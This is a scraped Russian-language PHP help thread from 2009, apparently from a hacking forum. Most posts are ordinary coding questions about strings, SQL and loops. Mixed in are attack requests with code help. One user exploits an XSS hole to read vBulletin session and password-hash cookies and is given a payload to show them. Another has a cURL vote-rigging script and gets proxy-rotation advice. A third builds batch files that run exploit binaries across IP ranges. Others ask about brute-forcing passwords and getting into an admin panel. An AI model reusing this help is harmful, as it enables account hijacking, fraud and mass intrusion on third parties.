$good=@fopen("C:good.txt",w);
$bad=@fopen("C:bad.txt",w);
for($col=count($dir);$col!=0;$col--)
{
$url="http://".$site[0].$dir[$col];
...........


попрлбуй в пути поставить слеши пример :

$site=file("C:\site.txt");

OnArs
02.12.2009, 01:17
Здравствуйте!


Есть старый скрипт для логина и поддержки online статуса вКонтакте.


<?php
set_time_limit(0);

$email = "";
$pass = "";
$log = "1";

// Логинемся с куками

$ch = curl_init("http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook7777");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);


// Если с куками не получилось, значит их нет либо устарели
// Логинемся с email'oм и паролем

if (preg_match('#l">E(.*?)<#i',$result,$avtoriz))
{

$ch = curl_init("http://vkontakte.ru/login.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook7777");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
}

?>

Почему то не работает, кто-нибудь может подсказать в чём проблема?


Заранее благодарен!

m0Hze
02.12.2009, 01:20
l">E

А что это он ищет такое?

OnArs
02.12.2009, 01:30
Это готовый скрипт взятый из просторов WWW, сам в замешательстве, видимо некий кусок со страницы по которой понимаем что мы залогинены или нет.

rushter
02.12.2009, 01:38
$resp = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, 'http://login.vk.com/?act=login');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROXY, $proxyq);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_USERAGENT,
'Mozilla/4.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7)');
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$acc}&pass={$pass}");
$resp = curl_exec($ch);
}
preg_match("#value='(.*?)'#i", $resp, $lnk);
$cook = "remixsid=" . $lnk[1];
Сам поменять думаю сможешь.

2Fed123
02.12.2009, 06:30
Замени fopen() на @fopen() и не будут ошибки выскакивать, если они тебя так смущают). Кстати код твой изменился. Ты видел мой вариант?
P.S. Хех, ты и здесь, 2FED) //beched
Здарова)
Да я вывод ошибок специально оставил.
В чем фишка-после запуска как уже писал говорит что файлы несуществуют,и все пишет в bad.Хотя когда просто в цикл подставляешь не переменную $url-то тогда все норм. :confused:

SeNaP
02.12.2009, 13:29
Всем привет.
В базе есть текст, например "12345678910"
Вывожу его так "SELECT * FROM `tetom` order by id desc"
Возможно ли как нибудь оьрезать этот текст до "1234567"
Без использования substr?

krypt3r
02.12.2009, 14:12
LEFT(`field`, 7)
MID(`field`, 1, 7)

SeNaP
02.12.2009, 14:24
LEFT(`field`, 7)
MID(`field`, 1, 7)

Это в SELECT?
:confused:

krypt3r
02.12.2009, 14:49
Именно там

SELECT LEFT(`field`, 7) FROM `sometable`;

SeNaP
02.12.2009, 15:10
Я уже себе весь мозг сломал, 2 ночи уже не сплю :D
Как обрезать текст? Всё перепробовал, может быть у меня руки не от туда растут :confused:
Помогите пожалуйста :)
В БД есть много таблиц с текстом, в каждом тексте присутствуют символы от 3 до N, вывожу таким способом:

$sql = mysql_query("SELECT * FROM `tetom` order by id desc");

while ($fetch_array = mysql_fetch_assoc($sql))
{

$txt = $fetch_array['txt'];

echo $txt;

}

Как обрезать текст, т.е. разделить пополам?
Пробовал таким способом

function strl($txt)
{
$a = strlen($txt) / 2;
$rest = substr($txt, 0, $a);
return $rest;

}

Текст режит, но на конце текста выходит такой вот символ
http://s45.radikal.ru/i107/0912/9c/634467af94a1.png
Но опять же зависит всё от кол-во символ, +1 или -1 символ в тексте, то тогда это "Вопросительный знак в ромбе" не выводится в конце текста :mad:
Помогите пожалуйста :)

m0Hze
02.12.2009, 15:59
Я уже себе весь мозг сломал, 2 ночи уже не сплю :D
Как обрезать текст? Всё перепробовал, может быть у меня руки не от туда растут :confused:
Помогите пожалуйста :)
В БД есть много таблиц с текстом, в каждом тексте присутствуют символы от 3 до N, вывожу таким способом:

$sql = mysql_query("SELECT * FROM `tetom` order by id desc");

while ($fetch_array = mysql_fetch_assoc($sql))
{

$txt = $fetch_array['txt'];

echo $txt;

}

Как обрезать текст, т.е. разделить пополам?
Пробовал таким способом

function strl($txt)
{
$a = strlen($txt) / 2;
$rest = substr($txt, 0, $a);
return $rest;

}

Текст режит, но на конце текста выходит такой вот символ
http://s45.radikal.ru/i107/0912/9c/634467af94a1.png
Но опять же зависит всё от кол-во символ, +1 или -1 символ в тексте, то тогда это "Вопросительный знак в ромбе" не выводится в конце текста :mad:
Помогите пожалуйста :)

Этот твой символ никак не относиться к преведенному выше коду.Ну только чисто гиппотетически,это \r\n в супер-кодировке.А по сути,в твоем коде никаких изменений стекстом не производиться.Уменя он работает на ок.

Stаfford
02.12.2009, 17:41
-=Zhenek=-, Спасибо :) Всё получилось :)

NigHT_0WL
02.12.2009, 17:51
Я уже себе весь мозг сломал, 2 ночи уже не сплю :D
Как обрезать текст? Всё перепробовал, может быть у меня руки не от туда растут :confused:
Помогите пожалуйста :)
В БД есть много таблиц с текстом, в каждом тексте присутствуют символы от 3 до N, вывожу таким способом:

$sql = mysql_query("SELECT * FROM `tetom` order by id desc");

while ($fetch_array = mysql_fetch_assoc($sql))
{

$txt = $fetch_array['txt'];

echo $txt;

}

Как обрезать текст, т.е. разделить пополам?
Пробовал таким способом

function strl($txt)
{
$a = strlen($txt) / 2;
$rest = substr($txt, 0, $a);
return $rest;

}

Текст режит, но на конце текста выходит такой вот символ
http://s45.radikal.ru/i107/0912/9c/634467af94a1.png
Но опять же зависит всё от кол-во символ, +1 или -1 символ в тексте, то тогда это "Вопросительный знак в ромбе" не выводится в конце текста :mad:
Помогите пожалуйста :)
если честно, то я бы на твоем месте, на всякий случай, отсек бы от значения все бы лишние символы. попробуй применить функцию rtrim();:

function strl($txt)
{
$a = strlen($txt) / 2;
$a = rtrim($a);
$rest = substr($txt, 0, $a);
return $rest;

}


у меня работает корректно...

N2kroot
02.12.2009, 18:32
Помогите, как сделать брут? А точнее обьясните:
Зачем надо имитировать ему браузер?
Как организовать перебор паролей из бд + отдельный режим под названием брутфорс(по буковкам,циферкам)?

b3
02.12.2009, 18:41
Если знаком с такими понятиями как sockets, cURL, регулярные выражения, то вопросов не должно возникать, если не знаком то для начала непохо было бы ознакомиться. Эта тема предназначена для небольших подсказок, найти ошибку в коде, подсказать функцию, но тут никто не собирается с нуля обьяснять что такое проток, какие есть протоколы, какие есть либы для работы с протоколами, что такое брут, зачем нужно эмулировать действия браузера, и нужно ли это делать и тд.

SeNaP
02.12.2009, 19:45
m0Hze, ну а как тогда можно избавится от этого символа? Т.е. как я понял это из-за кодировки? Кодировку я использую в БД и в скрипте UTF-8

m0Hze
02.12.2009, 20:30
m0Hze, ну а как тогда можно избавится от этого символа? Т.е. как я понял это из-за кодировки? Кодировку я использую в БД и в скрипте UTF-8
Как вариант,выставить на странице ут8,в бд ут8,а соединение в виндовс1251.
Можно еще,если не лень извращаться,тупо unset($text[count($text)]);
Тоесть последний элемент.Вот только незнаю,сработает ли последний вариант,если предварительно не перевести в тип array.Например так

str_split($text);

Но это уже чистое извращение.Намного лучше найти корень всех бед,и он не в скрипте,а именно где то в БД.Ну или в кривых настройках субд\пхп\опаче

Tombik
03.12.2009, 07:09
как из этих файлов узнать логин и пасс админа? Заколебался уже искать...
В базе данных есть в пользователях логин admin пасс admin, но нихера не работает.

Содержание этого файла http://сайт/admin/index.php


<?
error_reporting(0);
session_start();
require_once "../config.php";
require_once "class.admin.php";
$admin = new admin();
$admin->CheckAuth();
$admin->dira = $dir;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Управляющий терминал</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<link href="admin.css" type=text/css rel=stylesheet>
</head>
<body>
и т.д.


Содержание этого class.admin.php


if(eregi("class.admin.php", $_SERVER['PHP_SELF'])) die();

class admin
{
var $dira;
public function redirect($where,$time)
{
echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"$time; URL=$where\">";
}

public function check($what)
{
return mysql_escape_string(htmlspecialchars($what));
}

public function CheckAuth()
{
if(!session_is_registered("adminka") and !isset($_SESSION['login']))
{
if(!isset($_POST['submit']))
{
?>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<link href="admin.css" type=text/css rel=stylesheet>
<div id="ctr" align="center">
<div class="login">
<div class="login-form">
<form action="" method="post" name="loginForm" id="loginForm">
<div class="form-block">
<div class="inputlabel">Логин</div>
<div><input name="login" type="text" class="inputbox" size="15" /></div>
<div class="inputlabel">Пароль</div>
<div><input name="pass" type="password" class="inputbox" size="15" /></div>
<div align="left"><input title=" Нажмите сюда после ввода имени и пароля " type="submit" name="submit" class="button" value="Войти" /></div>
</div>
</form>
</div>
<div class="login-text">
<div class="ctr"><img src="img/security.png" width="64" height="64" alt="security" /></div>
<p>Добро пожаловать!</p>
<p>Введите имя и пароль для доступа в панель управления.</p>
</div>
<div class="clr"></div>
</div>
</div>
<?
}
else
{
if(!empty($_POST['login']) and !empty($_POST['pass']))
{
$_POST['login'] = $this->check($_POST['login']);
$_POST['pass'] = md5($_POST['pass']);
$query = mysql_query("SELECT admin_pass,admin_login FROM `config` WHERE `admin_pass` = '$_POST[pass]' AND `admin_login` = '$_POST[login]'");
if(mysql_num_rows($query)>0)
{
session_register("adminka");
$_SESSION['login'] = $_POST['login'];
$this->redirect("./?mod=index",0);
} else echo "Неверный логин или пароль.";
} else echo "Заполнены не все поля.";
}
exit();
}
}
и т.д.

wildshaman
03.12.2009, 08:48
Смотри в табличке config в БД поля admin_pass,admin_login

Tombik
03.12.2009, 09:17
Смотри в табличке config в БД поля admin_pass,admin_login
эм... там нет такого(

b3
03.12.2009, 11:19
mysql_query("SELECT admin_pass,admin_login FROM `config` WHERE `admin_pass` = '$_POST[pass]' AND `admin_login` = '$_POST[login]'");

Tombik
03.12.2009, 11:43
mysql_query("SELECT admin_pass,admin_login FROM `config` WHERE `admin_pass` = '$_POST[pass]' AND `admin_login` = '$_POST[login]'");

$_POST['login'] = $this->check($_POST['login']);
$_POST['pass'] = md5($_POST['pass']);
$query = mysql_query("SELECT admin_pass,admin_login FROM `config` WHERE `admin_pass` = '$_POST[pass]' AND `admin_login` = '$_POST[login]'");

да, есть такая штука, а чё тут менять то?)

superboy4
03.12.2009, 12:47
Как сделать на страничке регистрации поле Страна, чтобы его значение автоматически определялось в зависимости от Ip-адреса посетителя? Поэтому хотелось бы упростить немного сам процесс регистрации пользователя.

Vinsik
03.12.2009, 12:48
имеется:
index.php and 2.php

index.php code:

<form action="2.php" method="post">
Адресс <input type="text" name="ip" /><br />
<input type="submit" name="submit" value="Генерируй!))" />
</form>



2.php code:

<?
$ip2 = $HTTP_POST_VARS['ip'];
$ip = ''; // тут был не полный адресс хх.хх.хх. мне так удобнее, подписывать только последнее число
$text = 'ex.exe 0 ';
$text1 = 'ex.exe 1 ';
$text2 = 'ex.exe 2 ';
$file = 'C:/test.bat';
$f=@fopen($file, "a+");
//----------------- строка 1 -----------------------------
@fputs ($f, $text);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1
");
//----------------- строка 2 -----------------------------
@fputs ($f, $text1);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1
");
//----------------- строка 3 -----------------------------
@fputs ($f, $text2);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1

");

//------------------------------------------------------- Второй сплоит ---------------------------------------------------------------

$text = 'ex1.exe 0 ';
$text1 = 'ex1.exe 1 ';
$text2 = 'ex1.exe 2 ';

//----------------- строка 1 -----------------------------
@fputs ($f, $text);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1
");
//----------------- строка 2 -----------------------------
@fputs ($f, $text1);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1
");
//----------------- строка 3 -----------------------------
@fputs ($f, $text2);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1

");

//------------------------------------------------------- Третий сплоит ---------------------------------------------------------------

$text = 'ex2.exe ';
$text1 = 'ex2.exe ';
$text2 = 'ex2.exe ';

//----------------- строка 1 -----------------------------
@fputs ($f, $text);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1
");
//----------------- строка 2 -----------------------------
@fputs ($f, $text1);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1
");
//----------------- строка 3 -----------------------------
@fputs ($f, $text2);
@fputs ($f, $ip);
@fputs ($f, $ip2);
@fputs ($f, " 40 127.0.0.1

");


?>
<meta http-equiv="Refresh" content="0.5; URL=/./">


как бы тут реализовать генерацию по диапазонам?
Например переменная
$ip1 = '192.168.1.5';
вторая
$ip2 = '192.168.1.56';
чтобы генерация произошла в том же виде что и у меня но по этому диапазону. Весь мозг сломал. Знаю что и сам скрипт можно было сделать проще но.... Голова болела)))

Помогите кому не сложно пожалуйста.

m0Hze
03.12.2009, 13:10
А скрипт однако оджигает.Поищи скрипт вхождения ип в диазапзон,вот из него и вытягивай кусочки кода.

Epic wave
03.12.2009, 15:08
Подскажите, как из базы mysql вывести только последние 20 записей.


и как вообще выводить данные с конца? т.е. есть данные в базе 1 , 2 , 3 , 4 , 5


а вывести 5 , 4 , 3 , 2 , 1

SeNaP
03.12.2009, 15:12
Подскажите, как из базы mysql вывести только последние 20 записей.


SELECT *
FROM `article`
ORDER BY `article`.`ida` DESC
LIMIT 0 , 20


и как вообще выводить данные с конца? т.е. есть данные в базе 1 , 2 , 3 , 4 , 5


а вывести 5 , 4 , 3 , 2 , 1

order by id desc

Vinsik
03.12.2009, 15:21
А скрипт однако оджигает.Поищи скрипт вхождения ип в диазапзон,вот из него и вытягивай кусочки кода.
не могу найти :(

подскажите как правильно подправить код? В какую сторону копать

Byrger
03.12.2009, 17:01
При большом онлайне на сайте вылазит еррор
Host 'hostname' is blocked because of many connection errors.
Unblock with 'mysqladmin flush-hosts'

Разлокировать это я понял как на БД через 30мин опять лочит.
В чем может быть проблема?

Не надо говорить что увеличь max_connect_errors, так как надо причину найти.
PS сайт самописный

svesve
03.12.2009, 17:21
При большом онлайне на сайте вылазит еррор
Host 'hostname' is blocked because of many connection errors.
Unblock with 'mysqladmin flush-hosts'

Разлокировать это я понял как на БД через 30мин опять лочит.
В чем может быть проблема?

Не надо говорить что увеличь max_connect_errors, так как надо причину найти.
PS сайт самописный


возможно какойто скрипт делает дохера коннектов к бд. посмори повнимательеней

xismyname
03.12.2009, 19:02
Знаю,что лезу в не тот раздел,но вопрос у меня насчет javascript-а.

Короче,на сайте есть XSS-injection,нормально захожу на форум под своим ником,
открываю в бровзере просмотр cookies,все как пологаеться,т.е. id юзера,хэш пароля и все остальное.
Но когда на сайте вызываю метод document.cookie,например так :
alert( document.cookie );

Оно мне выдает только часть cookies,т.е. там нету никакого хэш пароля и id юзера.
Может есть люди,которым известно почему это так ?

п.с. сайт/форум vBulletin.

m0Hze
03.12.2009, 19:13
Знаю,что лезу в не тот раздел,но вопрос у меня насчет javascript-а.

Короче,на сайте есть XSS-injection,нормально захожу на форум под своим ником,
открываю в бровзере просмотр cookies,все как пологаеться,т.е. id юзера,хэш пароля и все остальное.
Но когда на сайте вызываю метод document.cookie,например так :
alert( document.cookie );

Оно мне выдает только часть cookies,т.е. там нету никакого хэш пароля и id юзера.
Может есть люди,которым известно почему это так ?

п.с. сайт/форум vBulletin.

Может быть в алерт не помещаеться весь текст целиком? :/

xismyname
03.12.2009, 19:15
Может быть в алерт не помещаеться весь текст целиком? :/
Не думаю,хотя все может быть.
Даже через URL пытался передать,не получилось.

Byrger
03.12.2009, 19:28
возможно какойто скрипт делает дохера коннектов к бд. посмори повнимательеней
коннект к БД делается только 1 раз в скрипте, потом 14 запросов и close

SeNaP
03.12.2009, 20:26
Есть такая таблица
http://s54.radikal.ru/i145/0912/cc/804a3a12871d.png
Добавляю значение так

INSERT INTO `cfg` VALUES ('','http://site.ru','');

Но запись добавляется в колонку под id = 3.
Как добавить значение в `reklama` под id=1 ?

krypt3r
03.12.2009, 20:33
Если хочется заполнить поле reklama для id = 1, то нужно делать UPDATE, а не INSERT

UPDATE `cfg` SET `reklama` = 'http://site.ru' WHERE `id` = 1;

SeNaP
03.12.2009, 20:39
Если хочется заполнить поле reklama для id = 1, то нужно делать UPDATE, а не INSERT

UPDATE `cfg` SET `reklama` = 'http://site.ru' WHERE `id` = 1;

Спасибо, выручил :)

TranE
03.12.2009, 22:00
Как методом PUT передать несколько файлов (cURL)?

LStr1ke
04.12.2009, 04:37
Знаю,что лезу в не тот раздел,но вопрос у меня насчет javascript-а.

Короче,на сайте есть XSS-injection,нормально захожу на форум под своим ником,
открываю в бровзере просмотр cookies,все как пологаеться,т.е. id юзера,хэш пароля и все остальное.
Но когда на сайте вызываю метод document.cookie,например так :
alert( document.cookie );

Оно мне выдает только часть cookies,т.е. там нету никакого хэш пароля и id юзера.
Может есть люди,которым известно почему это так ?

п.с. сайт/форум vBulletin.

Попробуй
document.write("<textarea cols='50' rows='20'>"+document.cookie+"</textarea>");

KaZ@NoVa
04.12.2009, 10:37
При большом онлайне на сайте вылазит еррор
Host 'hostname' is blocked because of many connection errors.
Unblock with 'mysqladmin flush-hosts'

Разлокировать это я понял как на БД через 30мин опять лочит.
В чем может быть проблема?

Не надо говорить что увеличь max_connect_errors, так как надо причину найти.
PS сайт самописный

Если столь большие нагрузки, то вместо mysql_connect есть резон заюзать mysql_pconnect. *_pconnect есть во многих обвязках для баз данных, не только в mysql, так что чаще всего его можно задействовать

spamoney
05.12.2009, 06:40
Здравствуйте, помогите разобраться.
Решил накрутить счетчик голосования на стороннем сайте, для этого на своём разместил следующий код:


$url='http://www.сайт-с-голосованием.ru/голосование';
$cookie='nameis=name';
$post=array('name' => 'param');
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);


Но в этом случае как я понимаю скрипту голосованию отправляется IP моего сервера, можно ли сделать так что бы отправлялся IP посетителя зашедшего на страницу с данным кодом?

qW1zer
05.12.2009, 08:46
$ip=$_SERVER['REMOTE_ADDR'];
$url='http://www.сайт-с-голосованием.ru/голосование';
$cookie='nameis=name';
$post=array('name' => 'param');
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt($ch, CURLOPT_PROXY, "$ip");
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);


Попробуй так,вариант не 100% но должен работать,получится что юзер будет как через прокси,только через свой IP подключатся!

spamoney
05.12.2009, 11:53
$ip=$_SERVER['REMOTE_ADDR'];
$url='http://www.сайт-с-голосованием.ru/голосование';
$cookie='nameis=name';
$post=array('name' => 'param');
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt($ch, CURLOPT_PROXY, "$ip");
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);


Попробуй так,вариант не 100% но должен работать,получится что юзер будет как через прокси,только через свой IP подключатся!

К сожалению не получается, как я понял
CURLOPT_PROXY
нужно указывать в формате IP:PORT

делал так, но не выходит:




$ip=$_SERVER['REMOTE_ADDR'];
$port=$_SERVER['REMOTE_PORT'];
$url='http://www.сайт-с-голосованием.ru/голосование';
$cookie='nameis=name';
$post=array('name' => 'param');
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt($ch, CURLOPT_PROXY, "".$ip.":".$port."");
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);



хотя если в CURLOPT_PROXY вписать проксю то всё получается....

mailbrush
05.12.2009, 14:33
$ip=$_SERVER['REMOTE_ADDR'];
$url='http://www.сайт-с-голосованием.ru/голосование';
$cookie='nameis=name';
$post=array('name' => 'param');
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt($ch, CURLOPT_PROXY, "$ip");
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,0);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);


Попробуй так,вариант не 100% но должен работать,получится что юзер будет как через прокси,только через свой IP подключатся!
Мда... Ты немного не так сказал: Вариант 100% не должен работать! Кто тебе вообще сказал, что висит прокся на локалхосте, и даже если бы она висела, то результат был бы тот же, что и без её использования.

b3
05.12.2009, 14:55
Почему бы не нагуглить или не взять с раздачи анонимных HTTP проксей, и тупо в цикле запустить курл на голосование ?
Кстати :
curl_setopt($ch, CURLOPT_PROXY, "".$ip.":".$port."");
Жжжом)) исправь на
curl_setopt($ch, CURLOPT_PROXY, $ip.':'.$post);

Батхед
05.12.2009, 20:07
Хотел бы посоветоваться...
Недавно выучил пхп
Может посоветуете какой можно скрипт написать,несложный...

m0Hze
05.12.2009, 20:09
Хотел бы посоветоваться...
Недавно выучил пхп
Может посоветуете какой можно скрипт написать,несложный...
Выучил php говориш? огада :/

Byrger
05.12.2009, 21:20
Есть строка допустим "1,400 Coin"
Как вытянуть из этой строки "слово" в данном случае Coin (слово может содержать ' ` " _)

m0Hze
05.12.2009, 21:26
preg_match('#([a-zA-Z\'\`\"_)#',$text);
чтото вроде того.

Byrger
05.12.2009, 21:42
preg_match('#([a-zA-Z\'\`\"_)#',$text);
чтото вроде того.
Не помогло

b3
05.12.2009, 23:22
мб так:

<?php
$str = '1,400 Coin\'s bygaga';
if(preg_match('#([a-z\'`"_]{1,})#i',$str,$m))
print_r($m);
?>

Результ:
Array ( [0] => Coin's [1] => Coin's )

qW1zer
06.12.2009, 15:57
Привет всем кодерам!Нужна помощь,вот есть у меня файл,который берет из базы записи и выводит их в порядке убывания(формирует по кол-ву голосов)


$result = mysql_query("SELECT * FROM table ORDER BY `vup` DESC");


Вот запрос,когда так вывожу все нормально!
Но когда добавляю после table,LIMIT
Получается ошибка и она на прямую связана с:


while($row = mysql_fetch_array($result)) {
таблица
}


Как только убираю сразу все норм,без последней части кода LIMIT работает,как это можно исправить?

krypt3r
06.12.2009, 17:49
А кто вам сказал, что LIMIT должен быть после table?

ORDER BY `vup` DESC LIMIT 0, 10;

qW1zer
06.12.2009, 18:06
Мне никто этого не говорил,я в некоторых статьях и скриптах видел,сейчас попробую ваш вариант!

mailbrush
06.12.2009, 18:16
Мне никто этого не говорил,я в некоторых статьях и скриптах видел,сейчас попробую ваш вариант!
LIMIT имеет самый низкий приоритет, тобишь LIMIT должен стоять в самом конце запроса. В статьях написано правильно, что LIMIT идет после `table`, НО если есть оператор ORDER BY, то LIMIT должен стоять после него.

qW1zer
06.12.2009, 18:42
Все спасибо,значит этот момент я просто упустил!

Vinsik
08.12.2009, 09:36
как сделать диапазон значений?
Например
$ep = '1';
$ep1 = '5';

Чтоб создались переменные
$ep[1] = '1';
$ep[2] = '2';
$ep[3] = '3';
$ep[4] = '4';
$ep[5] = '5';

весь мозг уже испортил.
:confused:

и как создать цикл чтобы он выполнялся столько раз сколько и количество значений
и
чтобы каждый раз переменная менялась например с $ep[1] на $ep[2]
?

LStr1ke
08.12.2009, 09:43
<?php
$start = 1;
$end = 5;
for($i=$start;$i<$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?>

Если честно не очень понял задания )

Vinsik
08.12.2009, 09:45
<?php
$start = 1;
$end = 5;
for($i=$start;$i<$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?>

Если честно не очень понял задания )
а куда тут свой код вписывать чтоб он тоже как бы зацикливался?

LStr1ke
08.12.2009, 09:47
а куда тут свой код вписывать чтоб он тоже как бы зацикливался?
между for(...) { и }
Переменные - $array[KEY] =

Vinsik
08.12.2009, 09:57
<?php
$start = 1;
$end = 5;
for($i=$start;$i<$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?>
повторяет цикл только 4ре раза =(
как сделать 5 ? =)

HAXTA4OK
08.12.2009, 10:02
<?php
$start = 1;
$end = 5;
for($i=$start;$i<$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?>
повторяет цикл только 4ре раза =(
как сделать 5 ? =)

Попробуй
<?php
$start = 1;
$end = 6;
for($i=$start;$i<$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?> если не пройдет то я заброшу пхп

Vinsik
08.12.2009, 10:03
Попробуй
<?php
$start = 1;
$end = 6;
for($i=$start;$i<$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?> если не пройдет то я заброшу пхп
поставить 6 я сам догадался))))))

именно при значении 5 надо)

LStr1ke
08.12.2009, 10:06
Или просто изменить
for(...) на for($i=$start;$i<=$end;$i++) {
теперь будет точный диапазон от $start до $end

HAXTA4OK
08.12.2009, 10:06
<?php
$start = 1;
$end = 5;
for($i=$start;$i<=$end;$i++) {
$array[$i] = $i;
}
print_r($array);
?>
повторяет цикл только 4ре раза =(
как сделать 5 ? =)

ЫЫ не?

Vinsik
08.12.2009, 10:15
<?
$p0 = '0'; //Параметр 0
$p1 = '1'; //Параметр 1
$p2 = '2'; //Параметр 2
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
